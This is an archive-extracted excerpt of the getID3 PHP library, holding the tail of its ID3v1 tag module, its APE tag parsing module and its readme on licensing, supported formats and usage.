		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
	}

	/**
	 * @param string $genre
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
		foreach ($GenreLookup as $key => $value) {
			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
				return $key;
			}
		}
		return false;
	}

	/**
	 * @param string $OriginalGenre
	 *
	 * @return string|false
	 */
	public static function StandardiseID3v1GenreName($OriginalGenre) {
		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
			return self::LookupGenreName($GenreID);
		}
		return $OriginalGenre;
	}

	/**
	 * @param string     $title
	 * @param string     $artist
	 * @param string     $album
	 * @param string     $year
	 * @param int        $genreid
	 * @param string     $comment
	 * @param int|string $track
	 *
	 * @return string
	 */
	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
		$ID3v1Tag  = 'TAG';
		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
		if (!empty($track) && ($track > 0) && ($track <= 255)) {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
			$ID3v1Tag .= "\x00";
			if (gettype($track) == 'string') {
				$track = (int) $track;
			}
			$ID3v1Tag .= chr($track);
		} else {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		}
		if (($genreid < 0) || ($genreid > 147)) {
			$genreid = 255; // 'unknown' genre
		}
		switch (gettype($genreid)) {
			case 'string':
			case 'integer':
				$ID3v1Tag .= chr(intval($genreid));
				break;
			default:
				$ID3v1Tag .= chr(255); // 'unknown' genre
				break;
		}

		return $ID3v1Tag;
	}

}
PKEWd[�u��I�Imodule.tag.apetag.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.apetag.php                                       //
// module for analyzing APE tags                               //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_apetag extends getid3_handler
{
	/**
	 * true: return full data for all attachments;
	 * false: return no data for all attachments;
	 * integer: return data for attachments <= than this;
	 * string: save as file to this directory.
	 *
	 * @var int|bool|string
	 */
	public $inline_attachments = true;

	public $overrideendoffset  = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$id3v1tagsize     = 128;
		$apetagheadersize = 32;
		$lyrics3tagsize   = 10;

		if ($this->overrideendoffset == 0) {

			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);

			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found before ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;

			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found, no ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'];

			}

		} else {

			$this->fseek($this->overrideendoffset - $apetagheadersize);
			if ($this->fread(8) == 'APETAGEX') {
				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
			}

		}
		if (!isset($info['ape']['tag_offset_end'])) {

			// APE tag not found
			unset($info['ape']);
			return false;

		}

		// shortcut
		$thisfile_ape = &$info['ape'];

		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
		$APEfooterData = $this->fread(32);
		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
			$this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']);
			return false;
		}

		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
			$thisfile_ape['tag_offset_start'] = $this->ftell();
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
		} else {
			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
			$this->fseek($thisfile_ape['tag_offset_start']);
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
		}
		$info['avdataend'] = $thisfile_ape['tag_offset_start'];

		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$offset = 0;
		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
				$offset += $apetagheadersize;
			} else {
				$this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']);
				return false;
			}
		}

		// shortcut
		$info['replay_gain'] = array();
		$thisfile_replaygain = &$info['replay_gain'];

		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
				$this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset));
				return false;
			}
			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));

			// shortcut
			$thisfile_ape['items'][$item_key] = array();
			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];

			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;

			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
			$offset += $value_size;

			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
				case 0: // UTF-8
				case 2: // Locator (URL, filename, etc), UTF-8 encoded
					$thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']);
					break;

				case 1:  // binary data
				default:
					break;
			}

			switch (strtolower($item_key)) {
				// http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
				case 'replaygain_track_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_track_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
						if ($thisfile_replaygain['track']['peak'] <= 0) {
							$this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
						if ($thisfile_replaygain['album']['peak'] <= 0) {
							$this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_undo':
					if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
						$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
						$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
					} else {
						$this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
						$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
					} else {
						$this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_album_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
						$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
					} else {
						$this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'tracknumber':
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments']['track_number'][] = $comment;
						}
					}
					break;

				case 'cover art (artist)':
				case 'cover art (back)':
				case 'cover art (band logo)':
				case 'cover art (band)':
				case 'cover art (colored fish)':
				case 'cover art (composer)':
				case 'cover art (conductor)':
				case 'cover art (front)':
				case 'cover art (icon)':
				case 'cover art (illustration)':
				case 'cover art (lead)':
				case 'cover art (leaflet)':
				case 'cover art (lyricist)':
				case 'cover art (media)':
				case 'cover art (movie scene)':
				case 'cover art (other icon)':
				case 'cover art (other)':
				case 'cover art (performance)':
				case 'cover art (publisher logo)':
				case 'cover art (recording)':
				case 'cover art (studio)':
					// list of possible cover arts from https://github.com/mono/taglib-sharp/blob/taglib-sharp-2.0.3.2/src/TagLib/Ape/Tag.cs
					if (is_array($thisfile_ape_items_current['data'])) {
						$this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8');
						$thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']);
					}
					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);

					do {
						$thisfile_ape_items_current['image_mime'] = '';
						$imageinfo = array();
						$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
						if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) {
							$this->warning('APEtag "'.$item_key.'" contains invalid image data');
							break;
						}
						$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);

						if ($this->inline_attachments === false) {
							// skip entirely
							unset($thisfile_ape_items_current['data']);
							break;
						}
						if ($this->inline_attachments === true) {
							// great
						} elseif (is_int($this->inline_attachments)) {
							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
								// too big, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						} elseif (is_string($this->inline_attachments)) {
							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
							if (!is_dir($this->inline_attachments) || !getID3::is_writable($this->inline_attachments)) {
								// cannot write, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						}
						// if we get this far, must be OK
						if (is_string($this->inline_attachments)) {
							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
							if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
							} else {
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)');
							}
							$thisfile_ape_items_current['data_filename'] = $destination_filename;
							unset($thisfile_ape_items_current['data']);
						} else {
							if (!isset($info['ape']['comments']['picture'])) {
								$info['ape']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($thisfile_ape_items_current[$picture_key])) {
									$comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key];
								}
							}
							$info['ape']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					} while (false); // @phpstan-ignore-line
					break;

				default:
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
						}
					}
					break;
			}

		}
		if (empty($thisfile_replaygain)) {
			unset($info['replay_gain']);
		}
		return true;
	}

	/**
	 * @param string $APEheaderFooterData
	 *
	 * @return array|false
	 */
	public function parseAPEheaderFooter($APEheaderFooterData) {
		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html

		// shortcut
		$headerfooterinfo = array();
		$headerfooterinfo['raw'] = array();
		$headerfooterinfo_raw = &$headerfooterinfo['raw'];

		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
			return false;
		}
		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);

		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
		if ($headerfooterinfo['tag_version'] >= 2) {
			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
		}
		return $headerfooterinfo;
	}

	/**
	 * @param int $rawflagint
	 *
	 * @return array
	 */
	public function parseAPEtagFlags($rawflagint) {
		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
		// All are set to zero on creation and ignored on reading."
		// http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags
		$flags                      = array();
		$flags['header']            = (bool) ($rawflagint & 0x80000000);
		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);

		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);

		return $flags;
	}

	/**
	 * @param int $contenttypeid
	 *
	 * @return string
	 */
	public function APEcontentTypeFlagLookup($contenttypeid) {
		static $APEcontentTypeFlagLookup = array(
			0 => 'utf-8',
			1 => 'binary',
			2 => 'external',
			3 => 'reserved'
		);
		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
	}

	/**
	 * @param string $itemkey
	 *
	 * @return bool
	 */
	public function APEtagItemIsUTF8Lookup($itemkey) {
		static $APEtagItemIsUTF8Lookup = array(
			'title',
			'subtitle',
			'artist',
			'album',
			'debut album',
			'publisher',
			'conductor',
			'track',
			'composer',
			'comment',
			'copyright',
			'publicationright',
			'file',
			'year',
			'record date',
			'record location',
			'genre',
			'media',
			'related',
			'isrc',
			'abstract',
			'language',
			'bibliography'
		);
		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
	}

}
PKEWd[>of�f�f
readme.txtnu�[���/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************
Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.


       +----------------------------------------------+
       | If you want to donate, there is a link on    |
       | https://www.getid3.org for PayPal donations. |
       +----------------------------------------------+


Quick Start
===========================================================================

Q: How can I check that getID3() works on my server/files?
A: Unzip getID3() to a directory, then access /demos/demo.browse.php



Support
===========================================================================

Q: I have a question, or I found a bug. What do I do?
A: The preferred method of support requests and/or bug reports is the
   forum at http://support.getid3.org/



Sourceforge Notification
===========================================================================

It's highly recommended that you sign up for notification from
Sourceforge for when new versions are released. Please visit:
http://sourceforge.net/project/showfiles.php?group_id=55859
and click the little "monitor package" icon/link.  If you're
previously signed up for the mailing list, be aware that it has
been discontinued, only the automated Sourceforge notification
will be used from now on.



What does getID3() do?
===========================================================================

Reads & parses (to varying degrees):
 ¤ tags:
  * APE (v1 and v2)
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.4, v2.3, v2.2)
  * Lyrics3 (v1 & v2)

 ¤ audio-lossy:
  * MP3/MP2/MP1
  * MPC / Musepack
  * Ogg (Vorbis, OggFLAC, Speex, Opus)
  * AAC / MP4
  * AC3
  * DTS
  * RealAudio
  * Speex
  * DSS
  * VQF

 ¤ audio-lossless:
  * AIFF
  * AU
  * Bonk
  * CD-audio (*.cda)
  * FLAC
  * LA (Lossless Audio)
  * LiteWave
  * LPAC
  * MIDI
  * Monkey's Audio
  * OptimFROG
  * RKAU
  * Shorten
  * TTA
  * VOC
  * WAV (RIFF)
  * WavPack

 ¤ audio-video:
  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
  * AVI (RIFF)
  * Flash
  * Matroska (MKV)
  * MPEG-1 / MPEG-2
  * NSV (Nullsoft Streaming Video)
  * Quicktime (including MP4)
  * RealVideo

 ¤ still image:
  * BMP
  * GIF
  * JPEG
  * PNG
  * TIFF
  * SWF (Flash)
  * PhotoCD

 ¤ data:
  * ISO-9660 CD-ROM image (directory structure)
  * SZIP (limited support)
  * ZIP (directory structure)
  * TAR
  * CUE


Writes:
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.3 & v2.4)
  * VorbisComment on OggVorbis
  * VorbisComment on FLAC (not OggFLAC)
  * APE v2
  * Lyrics3 (delete only)



Requirements
===========================================================================

* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x  (and earlier)
* PHP 5.0.5 (or higher) for getID3() 1.8.x  (and up)
* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up)
* PHP 5.3.0 (or higher) for getID3() 2.0.x  (and up)
* at least 4MB memory for PHP. 8MB or more is highly recommended.
  12MB is required with all modules loaded.



Usage
===========================================================================

See /demos/demo.basic.php for a very basic use of getID3() with no
fancy output, just scanning one file.

See structure.txt for the returned data structure.

*>  For an example of a complete directory-browsing,       <*
*>  file-scanning implementation of getID3(), please run   <*
*>  /demos/demo.browse.php                                 <*

See /demos/demo.mysql.php for a sample recursive scanning code that
scans every file in a given directory, and all sub-directories, stores
the results in a database and allows various analysis / maintenance
operations

To analyze remote files over HTTP or FTP you need to copy the file
locally first before running getID3(). Your code would look something
like this:

// Copy remote file locally to scan with getID3()
$remotefilename = 'http://www.example.com/filename.mp3';
if ($fp_remote = fopen($remotefilename, 'rb')) {
	$localtempfilename = tempnam('/tmp', 'getID3');
	if ($fp_local = fopen($localtempfilename, 'wb')) {
		while ($buffer = fread($fp_remote, 32768)) {
			fwrite($fp_local, $buffer);
		}
		fclose($fp_local);

		$remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER);
		$remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null);

		// Initialize getID3 engine
		$getID3 = new getID3;

		$ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename));

		// Delete temporary file
		unlink($localtempfilename);
	}
	fclose($fp_remote);
}

Note: since v1.9.9-20150212 it is possible a second and third parameter
to $getID3->analyze(), for original filesize and original filename
respectively. This permits you to download only a portion of a large remote
file but get accurate playtime estimates, assuming the format only requires
the beginning of the file for correct format analysis.

See /demos/demo.write.php for how to write tags.



What does the returned data structure look like?
===========================================================================

See structure.txt

It is recommended that you look at the output of
/demos/demo.browse.php scanning the file(s) you're interested in to
confirm what data is actually returned for any particular filetype in
general, and your files in particular, as the actual data returned
may vary considerably depending on what information is available in
the file itself.



Notes
===========================================================================

getID3() 1.x:
If the format parser encounters a critical problem, it will return
something in $fileinfo['error'], describing the encountered error. If
a less critical error or notice is generated it will appear in
$fileinfo['warning']. Both keys may contain more than one warning or
error. If something is returned in ['error'] then the file was not
correctly parsed and returned data may or may not be correct and/or
complete. If something is returned in ['warning'] (and not ['error'])
then the data that is returned is OK - usually getID3() is reporting
errors in the file that have been worked around due to known bugs in
other programs. Some warnings may indicate that the data that is
returned is OK but that some data could not be extracted due to
errors in the file.

getID3() 2.x:
See above except errors are thrown (so you will only get one error).



Disclaimer
===========================================================================

getID3() has been tested on many systems, on many types of files,
under many operating systems, and is generally believe to be stable
and safe. That being said, there is still the chance there is an
undiscovered and/or unfixed bug that may potentially corrupt your
file, especially within the writing functions. By using getID3() you
agree that it's not my fault if any of your files are corrupted.
In fact, I'm not liable for anything :)



License
===========================================================================

GNU General Public License - see license.txt

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA  02111-1307, USA.

FAQ:
Q: Can I use getID3() in my program? Do I need a commercial license?
A: You're generally free to use getID3 however you see fit. The only
   case in which you would require a commercial license is if you're
   selling your closed-source program that integrates getID3. If you
   sell your program including a copy of getID3, that's fine as long
   as you include a copy of the sourcecode when you sell it.  Or you
   can distribute your code without getID3 and say "download it from
   getid3.sourceforge.net"



Why is it called "getID3()" if it does so much more than just that?
===========================================================================

v0.1 did in fact just do that. I don't have a copy of code that old, but I
could essentially write it today with a one-line function:
  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }


Future Plans
===========================================================================
https://www.getid3.org/phpBB3/viewforum.php?f=7

* Better support for MP4 container format
* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
* Support for ACE (thanks Vince)
* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
* Warn if MP3s change version mid-stream (in full-scan mode)
* check for corrupt/broken mid-file MP3 streams in histogram scan
* Support for lossless-compression formats
  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
  (http://compression.ca/act-sound.html)
  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
* Support for RIFF-INFO chunks
  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
    (thanks Kibi)
* Better support for Bink video
* http://www.hr/josip/DSP/AudioFile2.html
* http://www.pcisys.net/~melanson/codecs/
* Detect mp3PRO
* Support for PSD
* Support for JPC
* Support for JP2
* Support for JPX
* Support for JB2
* Support for IFF
* Support for ICO
* Support for ANI
* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
  (thanks p*quaedackersØplanet*nl)
* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
    (thanks n8n8Øyahoo*com)
* Support for a2b
* Optional scan-through-frames for AVI verification
  (thanks rockcohenØmassive-interactive*nl)
* Support for TTF (thanks infoØbutterflyx*com)
* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171)
* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
  https://www.getid3.org/phpBB3/viewtopic.php?t=182
* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
* Parse XML data returned in Ogg comments
* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
* ID3v2 genre string creator function
* More complete parsing of JPG
* Support for all old-style ASF packets
* ASF/WMA/WMV tag writing
* Parse declared T??? ID3v2 text information frames, where appropriate
    (thanks Christian Fritz for the idea)
* Recognize encoder:
  http://www.guerillasoft.com/EncSpot2/index.html
  http://ff123.net/identify.html
  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
  http://www.hydrogenaudio.org/?showtopic=11785
* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* Support for WavPack RAW mode
* ASF/WMA/WMV data packet parsing
* ID3v2FrameFlagsLookupTagAlter()
* ID3v2FrameFlagsLookupFileAlter()
* obey ID3v2 tag alter/preserve/discard rules
* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
* proper checking for LINK/LNK frame validity in ID3v2 writing
